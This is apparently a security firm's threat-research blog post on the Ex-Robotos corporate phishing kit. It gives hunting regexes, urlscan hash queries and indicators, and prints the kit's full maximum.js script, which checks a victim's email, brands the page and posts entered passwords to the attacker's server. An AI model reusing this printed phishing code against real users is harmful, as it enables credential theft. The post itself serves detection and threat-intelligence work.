Results

IronNet Inc.

09/16/2021 | Press release | Distributed by Public on 09/16/2021 04:39

Phishing again? Prolific use of Ex-Robotos phishing kit

Sep 16, 2021

This is a continuation of the research outlined in the Gone phishing? Beware of what you (re)CAPTCHA blog posted earlier this week.

While continuing to research instances of open redirect abuse leveraging reCAPTCHA, the IronNet Threat Analysis team observed a phishing kit targeting corporate credentials called Ex-Robotos. The use of this phishing kit was prolific and the targets broad, spanning many countries and virtually all market verticals including government, healthcare, finance, retail etc.

Background on Ex-Robotos phishing kit

History

Ex-Robotos is a corporate phishing kit [1] frequently used to gain access to the credentials of corporate users in various industries around the world. According to a Facebook post by Brahim El, the self-declared developer of Ex-Robotos, Ex-Robotos became available for public purchase at the beginning of July 2019. V1 sported features such as external redirecting, license validation, a 'special' anti-bot system, and auto base64 email grabbing. V2 was released only two weeks later, advertising the 'maximum possible immunity' against bots and detection.

The newest version (v4) of the phishing kit was released on July 9th, 2020, including many new features. Some of these new features in the V4 Office365 page include self-destructing links, the ability to geolocate incoming IPs, and the ability to make emails look more believable and harder to track by locking the site to one target email. V4 is much more difficult to detect, allowing actors to block scanners from indexing the phishing pages.

How does it work?

Using known lists of targeted emails purchased on the dark web or obtained through legitimate marketing services, Ex-Robotos employs two knownlures: a voicemail lure and a lure centered on protected documents. When the link is clicked, a legitimate-looking site pops up that prompts the victim to enter their credentials. From there, the credentials are captured for future malicious use. If the attacker chooses, they can configure the script to return a notification stating the initial credentials were incorrect, eliciting the victim to enter additional passwords. We speculate this is for one of two purposes: to confirm the initial password was correct or to collect additional passwords that are then exfiltrated as well. The victim is then typically redirected to a legitimate Microsoft Office page or a blank page with a pre-recorded audio to complete the process.

Ex-Robotos sports a few control mechanisms that allows the attacker to limit who is able to view the landing page, thus making Ex-Robotos perfect for spearphishing attacks. These include forming a pass list for email addresses, allowing for only one time use, geofencing by country, and allow lists for IP/IP ranges.

Along with password exfiltration, the Ex-Robotos kits also perform data enrichment, which includes collecting data such as location, browser details, and IP information. On top of that, the kits have the ability to email the data as well as store it locally as a text file on the web server for the attacker to access.

What we discovered

After stumbling upon a few phishing pages with similar URL formats, we decided to create a regex to find further potential phishing pages using urlscan. We came up with the following regex + urlscan search query.

Regex URL

^(http)(s)?:\/\/([a-z0-9]+\.)?([a-z0-9\-])+\.([a-z])+\/(.*)?\.well-known\/((login\.php\?ss=2(&)?.*)|(.*\/authorize_client_id\:.*))+$

urlscan.io Query

page.url.keyword:/(http)(s)?:\/\/([a-z0-9]+\.)?([a-z0-9\-])+\.([a-z])+\/(.*)?\.well-
known\/((login\.php\?ss=2(&)?.*)|(.*\/authorize_client_id\:.*))+/

Figure 1: urlscan regex query results

From there, we analyzed a few of the results to see the HTTP requests each one made. Our goal was to find commonalities within the resources being requested to categorize results based on campaigns and also to find more results that our regex query may have missed. urlscan has a nice feature where they hash resources so that you can search for that resource in other results. This leads us to our first grouping of phishing pages that we delineate as Group 1.

Figure 2: Inspecting HTTP transactions of a urlscan result

Group 1

Quite a few of the results made a callout to this resource maximum.js(see figure 2 above). This is the main javascript file that handles the operation of the phishing page. How do we know this? Well let's take a look at the javascript and break it down to see what it does.

Figure 3: Email check from maximum.js file

var hash = window.location.hash;
var emailz = hash.split('#')[1];
if(typeof(emailz) == 'undefined'){
    setTimeout(function(){
                window.location.href='https://www.wikipedia.com'
            } , 2000);
}else{
    var email = atob(emailz);
    if(true_email(email)){ // if hash email used run this or run else
        set_brand(email);
        $('#email').val(email);
        $('.identity').html(email);
    }else{
        console.log('HERE');
        setTimeout(function(){
                window.location.href='https://www.wikipedia.com'
            } , 2000);
    }
}

The first group of code is meant to ensure that a valid email address was obtained. It begins by gathering the anchor part of the URL. For example:

http://www.example.com/test.htm#[email protected]

The anchor here would be #[email protected]. It then splits that value out and grabs the email portion. If it passes a simple undefined check, it will further check to ensure that it is a 'true email'. As the function name implies, the email is a 'true email' by comparing it to a regex pattern, and if either of these two checks fail, the web page redirects to Wikipedia.

Figure 4: Email regex from maximum.js file

function true_email(a) {
    var re = /^(([^<>()[\]\\.,;:\[email protected]\']+(\.[^<>()[\]\\.,;:\[email protected]\']+)*)|(\'.+\'))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
    return re.test(a);
}

If it does succeed, the web page presented will be consistent with the targeted company to aid in social engineering the user using the set_brand()function. To be specific, this function attempts to grab the custom company logo and a background imageused on the legitimate login page.

Figure 5: set_brand() function from maximum.js file

function set_brand(email){
  $.ajax({
    url: 'brand.php?ss=2', // add external link here
    type: 'POST',
    data: {email:email,barnd:1},
    success: function(data){
        var i=$.parseJSON(data);
        if(i.bg_image !== null && i.logo_image !== null && i.bg_image !== '' && i.logo_image !== ''){
            $('.backgroundImage').css('background-image', 'url(' + i.bg_image + ')');
            $('.logo').attr('src', i.logo_image);
            $('#banner_image').hide();
        }
    }
  });
}

We now move on to the code that handles the operation of the sign in button. The simplified operation is as follows:

  • If password entered is not empty, POST password.
  • If successful POST
    • If first or second attempt
      • Show password error text
    • If user entered password twice (count > 2)
      • Redirect user out
  • Figure 6: Sign in button operation from maximum.js file

    var count = 1;  
    $('#idSIButton9').on('click', function (event){
        event.preventDefault ? event.preventDefault() : event.returnValue = false;
        var user = $('#email').val();
        var pass = $('#i0118').val();
        if(pass == ''){
            $('#passwordError2').show();
            $('#important').hide();
            $('#i0118').focus();
            
        }else{
            $('#passwordError2').hide();
            $('#passwordError').hide();
            $('#idSIButton9').prop('disabled', true);
            $.ajax({
                url: 'policy.php?ss=2', // add external link here
                data: {
                        'email': user,
                        'password': pass,
                        'attempt': count
                    },
                type: 'POST',
                success: function(data){
                        count++;
                        if(count > 2){
                            count = 1;
                            setTimeout(function(){
                                window.location.href='success.php?ss=2&src=DluZDluZHNmNDBlb2RzaDluZHNmNDDBlb2RzaTRpZWprMzBka2prZWtjamtkIGNuZmk0bmZpbTRpZWprMzBka2prZWtjamtkIGNuZmk0bmZpbHNmNDBlb2RzaTRDluZHNmNDBlb2RzaTRpZWprMzBka2prZWtjamtkIGNuZmk0bmZpbpZWprMzBka2prZWtjamtkIGNuZmk0bmZpbZWppZXdpb2U5NDluZHNmNDBlb2RzaTRpZWprMzBka2prZWtjamtkIGNuZmk0bmZpb25ja29uc2NrIGtjIGtqIHZqayBj'
                            } , 2000);
                        }else{
                        $('#passwordError').show();
                        $('#idSIButton9').prop('disabled', false);
                        
                    }
                },
                    error: function(data) {
                        console.log('Ajax error');
                    }
                });
            
        }
    });
    

    Now that we have confirmed that for many of the results, this is the main javascript file handling the operation, we can run a urlscan search to find all the related phishing pages using the same script. We can, with reasonable confidence, infer that all these results are part ofthe same campaign due to the unique resource it finally redirects too.

    urlscan search: hash:35283bce87f120b3df83722176e4c6684f2e64088aa24f357ac7530b54754beb

    Figure 7: urlscan results of maximum.js hash

    Note: Note: Note: Many of these domains have been compromised to serve the Ex-Robotos phishing kit. For the entire list, check out our GitHub link below.

    Group 1 Indicators of Compromise

    What about the other results? Let's take a look. Now for these results, it is likely they are not part of the same campaign, but rather just use the same version of the Ex-Robotos phish kit. We do offer a potential solution to grouping results to campaigns.

    Group 2

    First, let's look at one of the results from the initial regex urlscan search that did not match in the above group. These results actually have their malicious javascript executed on the initial request:

    Figure 8: HTTP response to primary request in ff.hashroot[.]com urlscan result

    Interestingly, regardless of the obfuscation, there are two important values in the above javascript that may be fruitful in tracking phishing pages to campaigns:

    var licensekey = 'UZER58ERE8RWV4';
    var emailkey = 'bW8uc2VzOTBAeWFuZGV4LmNvbQ==';
    

    We can infer what these values are from previous reporting by Akamai [1] on Ex-Robotos. This is a phishing kit sold on forums so licensekeyis likely how the developer tracks and enforces access. It is important to note that this phishing kit was cracked and spread throughout dark web forums, so observations of a given license key may not be indicative of a single threat actor. Next the phishing kit can be configured to email the submitted credentials, thus, emailkeyis likely an attacker-controlled email where the credentials will be sent off to. In this case, the emailkeyis base64 encoded and decoded to:

    [email protected]
    

    In these results, there isn't a secondary javascript file loaded to hunt on but we can look at the other resources loaded to find more similar results. We will focus on combining three of these results in a urlscan search to ensure we get a more accurate picture of similar phishing pages.

    Figure 9: HTTP transactions in ff.hashroot[.]com urlscan result

    urlscan search: hash:ce1441121feb1441dcd78d618caa8228432271f6671e896c8a753af3dd679623 AND hash:105c03d3360cdb953585482374b2cc953d090741037502b0609629f5bb0135b7 AND hash:f32a760f15530284447282af5c7d0825babf8bc4739e073928f6128830819f7a

    Some example licensekeyand emailkeyvalues we have observed:

    Licensekey | Emailkey

    AZ | [email protected]
    AZ | [email protected]
    AZ | [email protected]
    AZ | [email protected]
    AZ | [email protected], [email protected]
    AZ | [email protected]
    UZER58ERE8RWV4 | [email protected]
    UZER58ERE8RWV4 | [email protected]
    UZER58ERE8RWV4 | [email protected], [email protected]
    

    Although we do not see the same abuse of reCAPTCHAoutlined in our previous blog, the abuse of open redirectors as a means to deliver phishing links is clearly an effective technique to making lures more convincing. Considering the wide spread targeting and highly convincing redirection, this phishing kit should be taken seriously. Furthermore, the numerous connections between the original campaign and this one leave many questions and opportunities for further research.

    Acknowledgements

    • http://urlscan.io
    • Jake | @JCyberSec_
    • http://beautifier.io

    Appendix

    Figure 10: maximum.js file

    $( document ).ready(function() {
    
        var hash = window.location.hash;
        var emailz = hash.split('#')[1];
        if(typeof(emailz) == 'undefined'){
            setTimeout(function(){
                        window.location.href='https://www.wikipedia.com'
                    } , 2000);
        }else{
            var email = atob(emailz);
            if(true_email(email)){ // if hash email used run this or run else
                set_brand(email);
                $('#email').val(email);
                $('.identity').html(email);
            }else{
                console.log('HERE');
                setTimeout(function(){
                        window.location.href='https://www.wikipedia.com'
                    } , 2000);
            }
        }
        
        // Normal Entry
        
        $('.btn-email').on('click', function (){
            var email = $('#email').val();
            $('.identity').html(email);
            $('.error-alert').hide();
            $('.btn-email').prop('disabled', true);
            if(true_email(email) == false){
                $('.error-alert').show();
                $('.error-alert-msg').html('Please enter your email.');
                $('.btn-email').prop('disabled', false);
            }else{
                    set_brand(email);
                    setTimeout(function (){
                        $('#add_em').hide();
                        $('#add_pass').show();
                    }, 1000);
            }
        });
                    
        var count = 1;
        
        $('#idSIButton9').on('click', function (event){
            event.preventDefault ? event.preventDefault() : event.returnValue = false;
            var user = $('#email').val();
            var pass = $('#i0118').val();
            if(pass == ''){
                $('#passwordError2').show();
                $('#important').hide();
                $('#i0118').focus();
                
            }else{
                $('#passwordError2').hide();
                $('#passwordError').hide();
                $('#idSIButton9').prop('disabled', true);
                $.ajax({
                    url: 'policy.php?ss=2', // add external link here
                    data: {
                            'email': user,
                            'password': pass,
                            'attempt': count
                        },
                    type: 'POST',
                    success: function(data){
                            count++;
                            if(count > 2){
                                count = 1;
                                setTimeout(function(){
                                    window.location.href='success.php?ss=2&src=DluZDluZHNmNDBlb2RzaDluZHNmNDDBlb2RzaTRpZWprMzBka2prZWtjamtkIGNuZmk0bmZpbTRpZWprMzBka2prZWtjamtkIGNuZmk0bmZpbHNmNDBlb2RzaTRDluZHNmNDBlb2RzaTRpZWprMzBka2prZWtjamtkIGNuZmk0bmZpbpZWprMzBka2prZWtjamtkIGNuZmk0bmZpbZWppZXdpb2U5NDluZHNmNDBlb2RzaTRpZWprMzBka2prZWtjamtkIGNuZmk0bmZpb25ja29uc2NrIGtjIGtqIHZqayBj'
                                } , 2000);
                            }else{
                            $('#passwordError').show();
                            $('#idSIButton9').prop('disabled', false);
                            
                        }
                    },
                        error: function(data) {
                            console.log('Ajax error');
                        }
                    });
                
            }
        });
        
    
        
        function set_brand(email){
            $.ajax({
                url: 'brand.php?ss=2', // add external link here
                type: 'POST',
                data: {email:email,barnd:1},
                success: function(data){
                    var i=$.parseJSON(data);
                    if(i.bg_image !== null && i.logo_image !== null && i.bg_image !== '' && i.logo_image !== ''){
                        $('.backgroundImage').css('background-image', 'url(' + i.bg_image + ')');
                        $('.logo').attr('src', i.logo_image);
                        $('#banner_image').hide();
                    }
                }
            });
        }
        
        function true_email(a) {
        var re = /^(([^<>()[\]\\.,;:\[email protected]\']+(\.[^<>()[\]\\.,;:\[email protected]\']+)*)|(\'.+\'))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
        return re.test(a);
    }
    });
    
    

    Figure 11: Malicious javascript found in the primary request of ff.hashroot[.]com's urlscan result

    Source

    [1] https://www.akamai.com/content/dam/site/en/documents/state-of-the-internet/soti-security-phishing-for-finance-report-2021.pdf

About Ironnet

Founded in 2014 by GEN (Ret.) Keith Alexander, IronNet Cybersecurity is a global cybersecurity leader that is revolutionizing how organizations secure their networks by delivering the first-ever Collective Defense platform operating at scale. Employing an extraordinarily high percentage of former NSA cybersecurity operators with offensive and defensive cyber experience, IronNet integrates deep tradecraft knowledge into its industry-leading products to solve the most challenging cyber problems facing the world today. Follow IronNet on Twitter and LinkedIn.
Back to IronNet Blog